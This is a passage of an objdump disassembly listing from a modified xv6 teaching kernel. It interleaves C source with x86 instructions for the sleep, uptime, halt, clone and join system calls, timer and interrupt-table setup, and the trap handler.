801068b8: b8 ff ff ff ff mov $0xffffffff,%eax
801068bd: eb 36 jmp 801068f5 <sys_sleep+0x90>
}
sleep(&ticks, &tickslock);
801068bf: c7 44 24 04 c0 5a 11 movl $0x80115ac0,0x4(%esp)
801068c6: 80
801068c7: c7 04 24 00 63 11 80 movl $0x80116300,(%esp)
801068ce: e8 54 e7 ff ff call 80105027 <sleep>
if(argint(0, &n) < 0)
return -1;
acquire(&tickslock);
ticks0 = ticks;
while(ticks - ticks0 < n){
801068d3: a1 00 63 11 80 mov 0x80116300,%eax
801068d8: 89 c2 mov %eax,%edx
801068da: 2b 55 f4 sub -0xc(%ebp),%edx
801068dd: 8b 45 f0 mov -0x10(%ebp),%eax
801068e0: 39 c2 cmp %eax,%edx
801068e2: 72 bb jb 8010689f <sys_sleep+0x3a>
release(&tickslock);
return -1;
}
sleep(&ticks, &tickslock);
}
release(&tickslock);
801068e4: c7 04 24 c0 5a 11 80 movl $0x80115ac0,(%esp)
801068eb: e8 81 ea ff ff call 80105371 <release>
return 0;
801068f0: b8 00 00 00 00 mov $0x0,%eax
}
801068f5: c9 leave
801068f6: c3 ret
801068f7 <sys_uptime>:
// return how many clock tick interrupts have occurred
// since start.
int
sys_uptime(void)
{
801068f7: 55 push %ebp
801068f8: 89 e5 mov %esp,%ebp
801068fa: 83 ec 28 sub $0x28,%esp
uint xticks;
acquire(&tickslock);
801068fd: c7 04 24 c0 5a 11 80 movl $0x80115ac0,(%esp)
80106904: e8 06 ea ff ff call 8010530f <acquire>
xticks = ticks;
80106909: a1 00 63 11 80 mov 0x80116300,%eax
8010690e: 89 45 f4 mov %eax,-0xc(%ebp)
release(&tickslock);
80106911: c7 04 24 c0 5a 11 80 movl $0x80115ac0,(%esp)
80106918: e8 54 ea ff ff call 80105371 <release>
return xticks;
8010691d: 8b 45 f4 mov -0xc(%ebp),%eax
}
80106920: c9 leave
80106921: c3 ret
80106922 <sys_halt>:
// signal to QEMU.
// Based on: http://pdos.csail.mit.edu/6.828/2012/homework/xv6-syscall.html
// and: https://github.com/t3rm1n4l/pintos/blob/master/devices/shutdown.c
int
sys_halt(void)
{
80106922: 55 push %ebp
80106923: 89 e5 mov %esp,%ebp
80106925: 83 ec 18 sub $0x18,%esp
char *p = "Shutdown";
80106928: c7 45 fc ba 8e 10 80 movl $0x80108eba,-0x4(%ebp)
for( ; *p; p++)
8010692f: eb 18 jmp 80106949 <sys_halt+0x27>
outw(0xB004, 0x2000);
80106931: c7 44 24 04 00 20 00 movl $0x2000,0x4(%esp)
80106938: 00
80106939: c7 04 24 04 b0 00 00 movl $0xb004,(%esp)
80106940: e8 4b fe ff ff call 80106790 <outw>
// and: https://github.com/t3rm1n4l/pintos/blob/master/devices/shutdown.c
int
sys_halt(void)
{
char *p = "Shutdown";
for( ; *p; p++)
80106945: 83 45 fc 01 addl $0x1,-0x4(%ebp)
80106949: 8b 45 fc mov -0x4(%ebp),%eax
8010694c: 0f b6 00 movzbl (%eax),%eax
8010694f: 84 c0 test %al,%al
80106951: 75 de jne 80106931 <sys_halt+0xf>
outw(0xB004, 0x2000);
return 0;
80106953: b8 00 00 00 00 mov $0x0,%eax
}
80106958: c9 leave
80106959: c3 ret
8010695a <sys_clone>:
//For project 2
int
sys_clone(void)
{
8010695a: 55 push %ebp
8010695b: 89 e5 mov %esp,%ebp
8010695d: 83 ec 28 sub $0x28,%esp
int myFunction, myArgument, myStack;
if(argint(0, &myFunction) < 0 || argint(1, &myArgument) < 0 || argint(2, &myStack) < 0){
80106960: 8d 45 f4 lea -0xc(%ebp),%eax
80106963: 89 44 24 04 mov %eax,0x4(%esp)
80106967: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8010696e: e8 47 ef ff ff call 801058ba <argint>
80106973: 85 c0 test %eax,%eax
80106975: 78 2e js 801069a5 <sys_clone+0x4b>
80106977: 8d 45 f0 lea -0x10(%ebp),%eax
8010697a: 89 44 24 04 mov %eax,0x4(%esp)
8010697e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80106985: e8 30 ef ff ff call 801058ba <argint>
8010698a: 85 c0 test %eax,%eax
8010698c: 78 17 js 801069a5 <sys_clone+0x4b>
8010698e: 8d 45 ec lea -0x14(%ebp),%eax
80106991: 89 44 24 04 mov %eax,0x4(%esp)
80106995: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8010699c: e8 19 ef ff ff call 801058ba <argint>
801069a1: 85 c0 test %eax,%eax
801069a3: 79 07 jns 801069ac <sys_clone+0x52>
return -1;
801069a5: b8 ff ff ff ff mov $0xffffffff,%eax
801069aa: eb 1d jmp 801069c9 <sys_clone+0x6f>
}
return clone((void*)myFunction, (void*)myArgument, (void*)myStack);
801069ac: 8b 45 ec mov -0x14(%ebp),%eax
801069af: 89 c1 mov %eax,%ecx
801069b1: 8b 45 f0 mov -0x10(%ebp),%eax
801069b4: 89 c2 mov %eax,%edx
801069b6: 8b 45 f4 mov -0xc(%ebp),%eax
801069b9: 89 4c 24 08 mov %ecx,0x8(%esp)
801069bd: 89 54 24 04 mov %edx,0x4(%esp)
801069c1: 89 04 24 mov %eax,(%esp)
801069c4: e8 ec dd ff ff call 801047b5 <clone>
}
801069c9: c9 leave
801069ca: c3 ret
801069cb <sys_join>:
int
sys_join(void)
{
801069cb: 55 push %ebp
801069cc: 89 e5 mov %esp,%ebp
801069ce: 83 ec 28 sub $0x28,%esp
int myPid, myStack, myRetval;
if(argint(0, &myPid) < 0 || argint(1, &myStack) < 0 || argint(2, &myRetval)){
801069d1: 8d 45 f4 lea -0xc(%ebp),%eax
801069d4: 89 44 24 04 mov %eax,0x4(%esp)
801069d8: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801069df: e8 d6 ee ff ff call 801058ba <argint>
801069e4: 85 c0 test %eax,%eax
801069e6: 78 2e js 80106a16 <sys_join+0x4b>
801069e8: 8d 45 f0 lea -0x10(%ebp),%eax
801069eb: 89 44 24 04 mov %eax,0x4(%esp)
801069ef: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801069f6: e8 bf ee ff ff call 801058ba <argint>
801069fb: 85 c0 test %eax,%eax
801069fd: 78 17 js 80106a16 <sys_join+0x4b>
801069ff: 8d 45 ec lea -0x14(%ebp),%eax
80106a02: 89 44 24 04 mov %eax,0x4(%esp)
80106a06: c7 04 24 02 00 00 00 movl $0x2,(%esp)
80106a0d: e8 a8 ee ff ff call 801058ba <argint>
80106a12: 85 c0 test %eax,%eax
80106a14: 74 07 je 80106a1d <sys_join+0x52>
return -1;
80106a16: b8 ff ff ff ff mov $0xffffffff,%eax
80106a1b: eb 1d jmp 80106a3a <sys_join+0x6f>
}
return join((int)myPid, (void**)myStack, (void**)myRetval);
80106a1d: 8b 45 ec mov -0x14(%ebp),%eax
80106a20: 89 c1 mov %eax,%ecx
80106a22: 8b 45 f0 mov -0x10(%ebp),%eax
80106a25: 89 c2 mov %eax,%edx
80106a27: 8b 45 f4 mov -0xc(%ebp),%eax
80106a2a: 89 4c 24 08 mov %ecx,0x8(%esp)
80106a2e: 89 54 24 04 mov %edx,0x4(%esp)
80106a32: 89 04 24 mov %eax,(%esp)
80106a35: e8 e9 e2 ff ff call 80104d23 <join>
}
80106a3a: c9 leave
80106a3b: c3 ret
80106a3c <sys_texit>:
int sys_texit(void)
{
80106a3c: 55 push %ebp
80106a3d: 89 e5 mov %esp,%ebp
}
80106a3f: 5d pop %ebp
80106a40: c3 ret
80106a41: 00 00 add %al,(%eax)
...
80106a44 <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
80106a44: 55 push %ebp
80106a45: 89 e5 mov %esp,%ebp
80106a47: 83 ec 08 sub $0x8,%esp
80106a4a: 8b 55 08 mov 0x8(%ebp),%edx
80106a4d: 8b 45 0c mov 0xc(%ebp),%eax
80106a50: 66 89 55 fc mov %dx,-0x4(%ebp)
80106a54: 88 45 f8 mov %al,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80106a57: 0f b6 45 f8 movzbl -0x8(%ebp),%eax
80106a5b: 0f b7 55 fc movzwl -0x4(%ebp),%edx
80106a5f: ee out %al,(%dx)
}
80106a60: c9 leave
80106a61: c3 ret
80106a62 <timerinit>:
#define TIMER_RATEGEN 0x04 // mode 2, rate generator
#define TIMER_16BIT 0x30 // r/w counter 16 bits, LSB first
void
timerinit(void)
{
80106a62: 55 push %ebp
80106a63: 89 e5 mov %esp,%ebp
80106a65: 83 ec 18 sub $0x18,%esp
// Interrupt 100 times/sec.
outb(TIMER_MODE, TIMER_SEL0 | TIMER_RATEGEN | TIMER_16BIT);
80106a68: c7 44 24 04 34 00 00 movl $0x34,0x4(%esp)
80106a6f: 00
80106a70: c7 04 24 43 00 00 00 movl $0x43,(%esp)
80106a77: e8 c8 ff ff ff call 80106a44 <outb>
outb(IO_TIMER1, TIMER_DIV(100) % 256);
80106a7c: c7 44 24 04 9c 00 00 movl $0x9c,0x4(%esp)
80106a83: 00
80106a84: c7 04 24 40 00 00 00 movl $0x40,(%esp)
80106a8b: e8 b4 ff ff ff call 80106a44 <outb>
outb(IO_TIMER1, TIMER_DIV(100) / 256);
80106a90: c7 44 24 04 2e 00 00 movl $0x2e,0x4(%esp)
80106a97: 00
80106a98: c7 04 24 40 00 00 00 movl $0x40,(%esp)
80106a9f: e8 a0 ff ff ff call 80106a44 <outb>
picenable(IRQ_TIMER);
80106aa4: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80106aab: e8 51 d3 ff ff call 80103e01 <picenable>
}
80106ab0: c9 leave
80106ab1: c3 ret
...
80106ab4 <alltraps>:
# vectors.S sends all traps here.
.globl alltraps
alltraps:
# Build trap frame.
pushl %ds
80106ab4: 1e push %ds
pushl %es
80106ab5: 06 push %es
pushl %fs
80106ab6: 0f a0 push %fs
pushl %gs
80106ab8: 0f a8 push %gs
pushal
80106aba: 60 pusha
# Set up data and per-cpu segments.
movw $(SEG_KDATA<<3), %ax
80106abb: 66 b8 10 00 mov $0x10,%ax
movw %ax, %ds
80106abf: 8e d8 mov %eax,%ds
movw %ax, %es
80106ac1: 8e c0 mov %eax,%es
movw $(SEG_KCPU<<3), %ax
80106ac3: 66 b8 18 00 mov $0x18,%ax
movw %ax, %fs
80106ac7: 8e e0 mov %eax,%fs
movw %ax, %gs
80106ac9: 8e e8 mov %eax,%gs
# Call trap(tf), where tf=%esp
pushl %esp
80106acb: 54 push %esp
call trap
80106acc: e8 de 01 00 00 call 80106caf <trap>
addl $4, %esp
80106ad1: 83 c4 04 add $0x4,%esp
80106ad4 <trapret>:
# Return falls through to trapret...
.globl trapret
trapret:
popal
80106ad4: 61 popa
popl %gs
80106ad5: 0f a9 pop %gs
popl %fs
80106ad7: 0f a1 pop %fs
popl %es
80106ad9: 07 pop %es
popl %ds
80106ada: 1f pop %ds
addl $0x8, %esp # trapno and errcode
80106adb: 83 c4 08 add $0x8,%esp
iret
80106ade: cf iret
...
80106ae0 <lidt>:
struct gatedesc;
static inline void
lidt(struct gatedesc *p, int size)
{
80106ae0: 55 push %ebp
80106ae1: 89 e5 mov %esp,%ebp
80106ae3: 83 ec 10 sub $0x10,%esp
volatile ushort pd[3];
pd[0] = size-1;
80106ae6: 8b 45 0c mov 0xc(%ebp),%eax
80106ae9: 83 e8 01 sub $0x1,%eax
80106aec: 66 89 45 fa mov %ax,-0x6(%ebp)
pd[1] = (uint)p;
80106af0: 8b 45 08 mov 0x8(%ebp),%eax
80106af3: 66 89 45 fc mov %ax,-0x4(%ebp)
pd[2] = (uint)p >> 16;
80106af7: 8b 45 08 mov 0x8(%ebp),%eax
80106afa: c1 e8 10 shr $0x10,%eax
80106afd: 66 89 45 fe mov %ax,-0x2(%ebp)
asm volatile("lidt (%0)" : : "r" (pd));
80106b01: 8d 45 fa lea -0x6(%ebp),%eax
80106b04: 0f 01 18 lidtl (%eax)
}
80106b07: c9 leave
80106b08: c3 ret
80106b09 <rcr2>:
return result;
}
static inline uint
rcr2(void)
{
80106b09: 55 push %ebp
80106b0a: 89 e5 mov %esp,%ebp
80106b0c: 53 push %ebx
80106b0d: 83 ec 10 sub $0x10,%esp
uint val;
asm volatile("movl %%cr2,%0" : "=r" (val));
80106b10: 0f 20 d3 mov %cr2,%ebx
80106b13: 89 5d f8 mov %ebx,-0x8(%ebp)
return val;
80106b16: 8b 45 f8 mov -0x8(%ebp),%eax
}
80106b19: 83 c4 10 add $0x10,%esp
80106b1c: 5b pop %ebx
80106b1d: 5d pop %ebp
80106b1e: c3 ret
80106b1f <tvinit>:
struct spinlock tickslock;
uint ticks;
void
tvinit(void)
{
80106b1f: 55 push %ebp
80106b20: 89 e5 mov %esp,%ebp
80106b22: 83 ec 28 sub $0x28,%esp
int i;
for(i = 0; i < 256; i++)
80106b25: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80106b2c: e9 c3 00 00 00 jmp 80106bf4 <tvinit+0xd5>
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
80106b31: 8b 45 f4 mov -0xc(%ebp),%eax
80106b34: 8b 04 85 b0 c0 10 80 mov -0x7fef3f50(,%eax,4),%eax
80106b3b: 89 c2 mov %eax,%edx
80106b3d: 8b 45 f4 mov -0xc(%ebp),%eax
80106b40: 66 89 14 c5 00 5b 11 mov %dx,-0x7feea500(,%eax,8)
80106b47: 80
80106b48: 8b 45 f4 mov -0xc(%ebp),%eax
80106b4b: 66 c7 04 c5 02 5b 11 movw $0x8,-0x7feea4fe(,%eax,8)
80106b52: 80 08 00
80106b55: 8b 45 f4 mov -0xc(%ebp),%eax
80106b58: 0f b6 14 c5 04 5b 11 movzbl -0x7feea4fc(,%eax,8),%edx
80106b5f: 80
80106b60: 83 e2 e0 and $0xffffffe0,%edx
80106b63: 88 14 c5 04 5b 11 80 mov %dl,-0x7feea4fc(,%eax,8)
80106b6a: 8b 45 f4 mov -0xc(%ebp),%eax
80106b6d: 0f b6 14 c5 04 5b 11 movzbl -0x7feea4fc(,%eax,8),%edx
80106b74: 80
80106b75: 83 e2 1f and $0x1f,%edx
80106b78: 88 14 c5 04 5b 11 80 mov %dl,-0x7feea4fc(,%eax,8)
80106b7f: 8b 45 f4 mov -0xc(%ebp),%eax
80106b82: 0f b6 14 c5 05 5b 11 movzbl -0x7feea4fb(,%eax,8),%edx
80106b89: 80
80106b8a: 83 e2 f0 and $0xfffffff0,%edx
80106b8d: 83 ca 0e or $0xe,%edx
80106b90: 88 14 c5 05 5b 11 80 mov %dl,-0x7feea4fb(,%eax,8)
80106b97: 8b 45 f4 mov -0xc(%ebp),%eax
80106b9a: 0f b6 14 c5 05 5b 11 movzbl -0x7feea4fb(,%eax,8),%edx
80106ba1: 80
80106ba2: 83 e2 ef and $0xffffffef,%edx
80106ba5: 88 14 c5 05 5b 11 80 mov %dl,-0x7feea4fb(,%eax,8)
80106bac: 8b 45 f4 mov -0xc(%ebp),%eax
80106baf: 0f b6 14 c5 05 5b 11 movzbl -0x7feea4fb(,%eax,8),%edx
80106bb6: 80
80106bb7: 83 e2 9f and $0xffffff9f,%edx
80106bba: 88 14 c5 05 5b 11 80 mov %dl,-0x7feea4fb(,%eax,8)
80106bc1: 8b 45 f4 mov -0xc(%ebp),%eax
80106bc4: 0f b6 14 c5 05 5b 11 movzbl -0x7feea4fb(,%eax,8),%edx
80106bcb: 80
80106bcc: 83 ca 80 or $0xffffff80,%edx
80106bcf: 88 14 c5 05 5b 11 80 mov %dl,-0x7feea4fb(,%eax,8)
80106bd6: 8b 45 f4 mov -0xc(%ebp),%eax
80106bd9: 8b 04 85 b0 c0 10 80 mov -0x7fef3f50(,%eax,4),%eax
80106be0: c1 e8 10 shr $0x10,%eax
80106be3: 89 c2 mov %eax,%edx
80106be5: 8b 45 f4 mov -0xc(%ebp),%eax
80106be8: 66 89 14 c5 06 5b 11 mov %dx,-0x7feea4fa(,%eax,8)
80106bef: 80
void
tvinit(void)
{
int i;
for(i = 0; i < 256; i++)
80106bf0: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80106bf4: 81 7d f4 ff 00 00 00 cmpl $0xff,-0xc(%ebp)
80106bfb: 0f 8e 30 ff ff ff jle 80106b31 <tvinit+0x12>
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
80106c01: a1 b0 c1 10 80 mov 0x8010c1b0,%eax
80106c06: 66 a3 00 5d 11 80 mov %ax,0x80115d00
80106c0c: 66 c7 05 02 5d 11 80 movw $0x8,0x80115d02
80106c13: 08 00
80106c15: 0f b6 05 04 5d 11 80 movzbl 0x80115d04,%eax
80106c1c: 83 e0 e0 and $0xffffffe0,%eax
80106c1f: a2 04 5d 11 80 mov %al,0x80115d04
80106c24: 0f b6 05 04 5d 11 80 movzbl 0x80115d04,%eax
80106c2b: 83 e0 1f and $0x1f,%eax
80106c2e: a2 04 5d 11 80 mov %al,0x80115d04
80106c33: 0f b6 05 05 5d 11 80 movzbl 0x80115d05,%eax
80106c3a: 83 c8 0f or $0xf,%eax
80106c3d: a2 05 5d 11 80 mov %al,0x80115d05
80106c42: 0f b6 05 05 5d 11 80 movzbl 0x80115d05,%eax
80106c49: 83 e0 ef and $0xffffffef,%eax
80106c4c: a2 05 5d 11 80 mov %al,0x80115d05
80106c51: 0f b6 05 05 5d 11 80 movzbl 0x80115d05,%eax
80106c58: 83 c8 60 or $0x60,%eax
80106c5b: a2 05 5d 11 80 mov %al,0x80115d05
80106c60: 0f b6 05 05 5d 11 80 movzbl 0x80115d05,%eax
80106c67: 83 c8 80 or $0xffffff80,%eax
80106c6a: a2 05 5d 11 80 mov %al,0x80115d05
80106c6f: a1 b0 c1 10 80 mov 0x8010c1b0,%eax
80106c74: c1 e8 10 shr $0x10,%eax
80106c77: 66 a3 06 5d 11 80 mov %ax,0x80115d06
initlock(&tickslock, "time");
80106c7d: c7 44 24 04 c4 8e 10 movl $0x80108ec4,0x4(%esp)
80106c84: 80
80106c85: c7 04 24 c0 5a 11 80 movl $0x80115ac0,(%esp)
80106c8c: e8 5d e6 ff ff call 801052ee <initlock>
}
80106c91: c9 leave
80106c92: c3 ret
80106c93 <idtinit>:
void
idtinit(void)
{
80106c93: 55 push %ebp
80106c94: 89 e5 mov %esp,%ebp
80106c96: 83 ec 08 sub $0x8,%esp
lidt(idt, sizeof(idt));
80106c99: c7 44 24 04 00 08 00 movl $0x800,0x4(%esp)
80106ca0: 00
80106ca1: c7 04 24 00 5b 11 80 movl $0x80115b00,(%esp)
80106ca8: e8 33 fe ff ff call 80106ae0 <lidt>
}
80106cad: c9 leave
80106cae: c3 ret
80106caf <trap>:
//PAGEBREAK: 41
void
trap(struct trapframe *tf)
{
80106caf: 55 push %ebp
80106cb0: 89 e5 mov %esp,%ebp
80106cb2: 57 push %edi
80106cb3: 56 push %esi
80106cb4: 53 push %ebx
80106cb5: 83 ec 3c sub $0x3c,%esp
if(tf->trapno == T_SYSCALL){
80106cb8: 8b 45 08 mov 0x8(%ebp),%eax
80106cbb: 8b 40 30 mov 0x30(%eax),%eax
80106cbe: 83 f8 40 cmp $0x40,%eax
80106cc1: 75 3e jne 80106d01 <trap+0x52>
if(proc->killed)
80106cc3: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106cc9: 8b 40 24 mov 0x24(%eax),%eax
80106ccc: 85 c0 test %eax,%eax
80106cce: 74 05 je 80106cd5 <trap+0x26>
exit();
80106cd0: e8 98 dc ff ff call 8010496d <exit>
proc->tf = tf;
80106cd5: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106cdb: 8b 55 08 mov 0x8(%ebp),%edx
80106cde: 89 50 18 mov %edx,0x18(%eax)
syscall();
80106ce1: e8 9b ec ff ff call 80105981 <syscall>
if(proc->killed)
80106ce6: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106cec: 8b 40 24 mov 0x24(%eax),%eax
80106cef: 85 c0 test %eax,%eax
80106cf1: 0f 84 34 02 00 00 je 80106f2b <trap+0x27c>
exit();
80106cf7: e8 71 dc ff ff call 8010496d <exit>
return;
80106cfc: e9 2a 02 00 00 jmp 80106f2b <trap+0x27c>
}
switch(tf->trapno){
80106d01: 8b 45 08 mov 0x8(%ebp),%eax
80106d04: 8b 40 30 mov 0x30(%eax),%eax
80106d07: 83 e8 20 sub $0x20,%eax
80106d0a: 83 f8 1f cmp $0x1f,%eax
80106d0d: 0f 87 bc 00 00 00 ja 80106dcf <trap+0x120>
80106d13: 8b 04 85 6c 8f 10 80 mov -0x7fef7094(,%eax,4),%eax
80106d1a: ff e0 jmp *%eax
case T_IRQ0 + IRQ_TIMER:
if(cpu->id == 0){
80106d1c: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80106d22: 0f b6 00 movzbl (%eax),%eax
80106d25: 84 c0 test %al,%al
80106d27: 75 31 jne 80106d5a <trap+0xab>
acquire(&tickslock);
80106d29: c7 04 24 c0 5a 11 80 movl $0x80115ac0,(%esp)
80106d30: e8 da e5 ff ff call 8010530f <acquire>
ticks++;
80106d35: a1 00 63 11 80 mov 0x80116300,%eax
80106d3a: 83 c0 01 add $0x1,%eax
80106d3d: a3 00 63 11 80 mov %eax,0x80116300
wakeup(&ticks);
80106d42: c7 04 24 00 63 11 80 movl $0x80116300,(%esp)
80106d49: e8 b5 e3 ff ff call 80105103 <wakeup>
release(&tickslock);
80106d4e: c7 04 24 c0 5a 11 80 movl $0x80115ac0,(%esp)
80106d55: e8 17 e6 ff ff call 80105371 <release>
}
lapiceoi();
80106d5a: e8 c0 c1 ff ff call 80102f1f <lapiceoi>
break;
80106d5f: e9 41 01 00 00 jmp 80106ea5 <trap+0x1f6>
case T_IRQ0 + IRQ_IDE:
ideintr();
80106d64: e8 94 b9 ff ff call 801026fd <ideintr>
lapiceoi();
80106d69: e8 b1 c1 ff ff call 80102f1f <lapiceoi>
break;
80106d6e: e9 32 01 00 00 jmp 80106ea5 <trap+0x1f6>
case T_IRQ0 + IRQ_IDE+1:
// Bochs generates spurious IDE1 interrupts.
break;
case T_IRQ0 + IRQ_KBD:
kbdintr();
80106d73: e8 5b bf ff ff call 80102cd3 <kbdintr>
lapiceoi();
80106d78: e8 a2 c1 ff ff call 80102f1f <lapiceoi>
break;
80106d7d: e9 23 01 00 00 jmp 80106ea5 <trap+0x1f6>
case T_IRQ0 + IRQ_COM1:
uartintr();
80106d82: e8 a9 03 00 00 call 80107130 <uartintr>
lapiceoi();
80106d87: e8 93 c1 ff ff call 80102f1f <lapiceoi>
break;
80106d8c: e9 14 01 00 00 jmp 80106ea5 <trap+0x1f6>
case T_IRQ0 + 7:
case T_IRQ0 + IRQ_SPURIOUS:
cprintf("cpu%d: spurious interrupt at %x:%x\n",
cpu->id, tf->cs, tf->eip);
80106d91: 8b 45 08 mov 0x8(%ebp),%eax
uartintr();
lapiceoi();
break;
case T_IRQ0 + 7:
case T_IRQ0 + IRQ_SPURIOUS:
cprintf("cpu%d: spurious interrupt at %x:%x\n",
80106d94: 8b 48 38 mov 0x38(%eax),%ecx
cpu->id, tf->cs, tf->eip);
80106d97: 8b 45 08 mov 0x8(%ebp),%eax
80106d9a: 0f b7 40 3c movzwl 0x3c(%eax),%eax
uartintr();
lapiceoi();
break;
case T_IRQ0 + 7:
case T_IRQ0 + IRQ_SPURIOUS:
cprintf("cpu%d: spurious interrupt at %x:%x\n",
80106d9e: 0f b7 d0 movzwl %ax,%edx
cpu->id, tf->cs, tf->eip);
80106da1: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80106da7: 0f b6 00 movzbl (%eax),%eax
uartintr();
lapiceoi();
break;
case T_IRQ0 + 7:
case T_IRQ0 + IRQ_SPURIOUS:
cprintf("cpu%d: spurious interrupt at %x:%x\n",
80106daa: 0f b6 c0 movzbl %al,%eax
80106dad: 89 4c 24 0c mov %ecx,0xc(%esp)
80106db1: 89 54 24 08 mov %edx,0x8(%esp)
80106db5: 89 44 24 04 mov %eax,0x4(%esp)
80106db9: c7 04 24 cc 8e 10 80 movl $0x80108ecc,(%esp)
80106dc0: e8 dc 95 ff ff call 801003a1 <cprintf>
cpu->id, tf->cs, tf->eip);
lapiceoi();
80106dc5: e8 55 c1 ff ff call 80102f1f <lapiceoi>
break;
80106dca: e9 d6 00 00 00 jmp 80106ea5 <trap+0x1f6>
//PAGEBREAK: 13
default:
if(proc == 0 || (tf->cs&3) == 0){
80106dcf: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106dd5: 85 c0 test %eax,%eax
80106dd7: 74 11 je 80106dea <trap+0x13b>
80106dd9: 8b 45 08 mov 0x8(%ebp),%eax
80106ddc: 0f b7 40 3c movzwl 0x3c(%eax),%eax
80106de0: 0f b7 c0 movzwl %ax,%eax
80106de3: 83 e0 03 and $0x3,%eax
80106de6: 85 c0 test %eax,%eax
80106de8: 75 46 jne 80106e30 <trap+0x181>
// In kernel, it must be our mistake.
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
80106dea: e8 1a fd ff ff call 80106b09 <rcr2>
tf->trapno, cpu->id, tf->eip, rcr2());
80106def: 8b 55 08 mov 0x8(%ebp),%edx
//PAGEBREAK: 13
default:
if(proc == 0 || (tf->cs&3) == 0){
// In kernel, it must be our mistake.
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
80106df2: 8b 5a 38 mov 0x38(%edx),%ebx
tf->trapno, cpu->id, tf->eip, rcr2());
80106df5: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
80106dfc: 0f b6 12 movzbl (%edx),%edx
//PAGEBREAK: 13
default:
if(proc == 0 || (tf->cs&3) == 0){
// In kernel, it must be our mistake.
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
80106dff: 0f b6 ca movzbl %dl,%ecx
tf->trapno, cpu->id, tf->eip, rcr2());
80106e02: 8b 55 08 mov 0x8(%ebp),%edx
//PAGEBREAK: 13
default:
if(proc == 0 || (tf->cs&3) == 0){
// In kernel, it must be our mistake.
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
80106e05: 8b 52 30 mov 0x30(%edx),%edx
80106e08: 89 44 24 10 mov %eax,0x10(%esp)
80106e0c: 89 5c 24 0c mov %ebx,0xc(%esp)
80106e10: 89 4c 24 08 mov %ecx,0x8(%esp)
80106e14: 89 54 24 04 mov %edx,0x4(%esp)
80106e18: c7 04 24 f0 8e 10 80 movl $0x80108ef0,(%esp)
80106e1f: e8 7d 95 ff ff call 801003a1 <cprintf>
tf->trapno, cpu->id, tf->eip, rcr2());
panic("trap");
80106e24: c7 04 24 22 8f 10 80 movl $0x80108f22,(%esp)
80106e2b: e8 0d 97 ff ff call 8010053d <panic>
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
80106e30: e8 d4 fc ff ff call 80106b09 <rcr2>
80106e35: 89 c2 mov %eax,%edx
"eip 0x%x addr 0x%x--kill proc\n",
proc->pid, proc->name, tf->trapno, tf->err, cpu->id, tf->eip,
80106e37: 8b 45 08 mov 0x8(%ebp),%eax
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpu->id, tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
80106e3a: 8b 78 38 mov 0x38(%eax),%edi
"eip 0x%x addr 0x%x--kill proc\n",
proc->pid, proc->name, tf->trapno, tf->err, cpu->id, tf->eip,
80106e3d: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80106e43: 0f b6 00 movzbl (%eax),%eax
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpu->id, tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
80106e46: 0f b6 f0 movzbl %al,%esi
"eip 0x%x addr 0x%x--kill proc\n",
proc->pid, proc->name, tf->trapno, tf->err, cpu->id, tf->eip,
80106e49: 8b 45 08 mov 0x8(%ebp),%eax
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpu->id, tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
80106e4c: 8b 58 34 mov 0x34(%eax),%ebx
"eip 0x%x addr 0x%x--kill proc\n",
proc->pid, proc->name, tf->trapno, tf->err, cpu->id, tf->eip,
80106e4f: 8b 45 08 mov 0x8(%ebp),%eax
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpu->id, tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
80106e52: 8b 48 30 mov 0x30(%eax),%ecx
"eip 0x%x addr 0x%x--kill proc\n",
proc->pid, proc->name, tf->trapno, tf->err, cpu->id, tf->eip,
80106e55: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106e5b: 83 c0 6c add $0x6c,%eax
80106e5e: 89 45 e4 mov %eax,-0x1c(%ebp)
80106e61: 65 a1 04 00 00 00 mov %gs:0x4,%eax
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpu->id, tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
80106e67: 8b 40 10 mov 0x10(%eax),%eax
80106e6a: 89 54 24 1c mov %edx,0x1c(%esp)
80106e6e: 89 7c 24 18 mov %edi,0x18(%esp)
80106e72: 89 74 24 14 mov %esi,0x14(%esp)
80106e76: 89 5c 24 10 mov %ebx,0x10(%esp)
